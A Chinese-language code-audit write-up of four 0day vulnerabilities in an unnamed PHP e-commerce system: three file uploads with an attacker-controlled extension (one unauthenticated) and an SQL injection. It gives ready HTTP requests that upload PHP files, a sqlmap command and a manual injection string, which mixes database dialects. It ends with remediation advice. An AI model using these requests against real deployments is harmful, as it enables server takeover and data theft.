PHP代码审计-某电商管理系统0Day分析
字数 1486 2025-08-23 18:31:24
PHP代码审计:某电商管理系统0Day漏洞分析与利用
漏洞概述
本文详细分析某电商管理系统存在的多个安全漏洞,包括后台文件上传Getshell、未授权文件上传以及前台SQL注入漏洞。这些漏洞存在于系统的不同模块中,攻击者可利用这些漏洞获取服务器权限或数据库敏感信息。
一、后台文件上传Getshell漏洞
漏洞位置
/app/webapp/modules/system/actions/uploadImgAction.class.php
漏洞分析
- 关键代码片段:
$type = str_replace('image/', '.', $_FILES['imgFile']['type']);
$imgURL_name = time() . mt_rand(1, 1000) . $type;
move_uploaded_file($imgURL, $uploadImg . $imgURL_name);
- 漏洞原理:
- 系统使用
str_replace函数将$_FILES['imgFile']['type']中的image/替换为点(.) - 攻击者可控制
Content-Type头,通过构造image/php使其被替换为.php,从而控制文件后缀 - 文件上传后未进行有效验证,导致可上传任意PHP文件
漏洞利用
- 构造恶意请求包:
POST /index.php?module=system&action=uploadImg HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=-3521672959703348041050404464
--3521672959703348041050404464
Content-Disposition: form-data; name="imgFile"; filename="shell.php"
Content-Type: image/php
<?php phpinfo(); ?>
--3521672959703348041050404464--
- 利用步骤:
- 修改
Content-Type为image/php - 上传包含恶意代码的PHP文件
- 访问上传的文件执行任意代码
二、扩展模块文件上传漏洞
漏洞位置
/webapp/modules/extension/actions/uploadImgAction.class.php
漏洞分析
- 与后台文件上传漏洞原理相同
- 使用
str_replace函数处理文件类型 - 参数名从
imgFile变为file
漏洞利用
- 构造请求包:
POST /index.php?module=extension&action=uploadImg HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=-371918364269932091066326
--371918364269932091066326
Content-Disposition: form-data; name="file"; filename="PassWaf_3.php"
Content-Type: image/php
<?php @phpinfo(); ?>
--371918364269932091066326--
三、未授权文件上传漏洞
漏洞位置
/webapp/modules/api/actions/userAction.class.php中的upload方法
漏洞分析
- 关键代码:
$imgURL = ($_FILES['file']['tmp_name']);
$type = str_replace('image/', '.', $_FILES['file']['type']);
$imgURL_name = time() . mt_rand(1, 1000) . $type;
move_uploaded_file($imgURL, $uploadImg . $imgURL_name);
- 漏洞特点:
- 无需登录即可访问
- 上传路径默认为
../images - 同样存在后缀可控问题
漏洞利用
- 构造请求包:
POST /index.php?module=api&action=user&m=upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=-323553422223467167571808530788
--323553422223467167571808530788
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/php
<?php phpinfo(); ?>
--323553422223467167571808530788--
- 注意事项:
- 参数名必须为
file - 无需Cookie认证
- 上传成功后返回文件名,路径为
/images
四、前台SQL注入漏洞
漏洞位置
/webapp/modules/api/actions/orderAction.class.php中的ReturnData方法
漏洞分析
back_remark参数未经过滤直接拼接到SQL语句中- 导致可执行任意SQL语句
漏洞利用
- 使用sqlmap检测:
python sqlmap.py -u "http://127.0.0.1:8080/index.php?module=api&action=order&m=ReturnData" --data "id=1&oid=1&otype=1&re_type=1&back_remark=1" -p back_remark --dbs --batch
- 手工测试:
- 在
back_remark参数中注入SQL语句 - 如:
back_remark=1' AND 1=CONVERT(INT,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))--
五、修复建议
- 文件上传漏洞修复:
- 严格限制上传文件类型,使用白名单机制
- 对上传文件进行重命名,不依赖用户输入
- 对上传文件内容进行检测
- 设置上传目录不可执行
- SQL注入漏洞修复:
- 使用参数化查询或预处理语句
- 对所有输入参数进行严格过滤和转义
- 实现最小权限原则,数据库用户只具有必要权限
- 其他安全措施:
- 对关键操作进行权限验证
- 实现CSRF防护机制
- 定期进行安全审计和代码审查
六、总结
本文详细分析了某电商管理系统存在的多个高危漏洞,包括:
- 后台文件上传Getshell漏洞
- 扩展模块文件上传漏洞
- 未授权文件上传漏洞
- 前台SQL注入漏洞
这些漏洞均可被攻击者利用来获取系统权限或敏感数据,建议用户及时修复。同时,开发人员应加强安全意识,在代码编写过程中充分考虑安全性,避免类似漏洞的出现。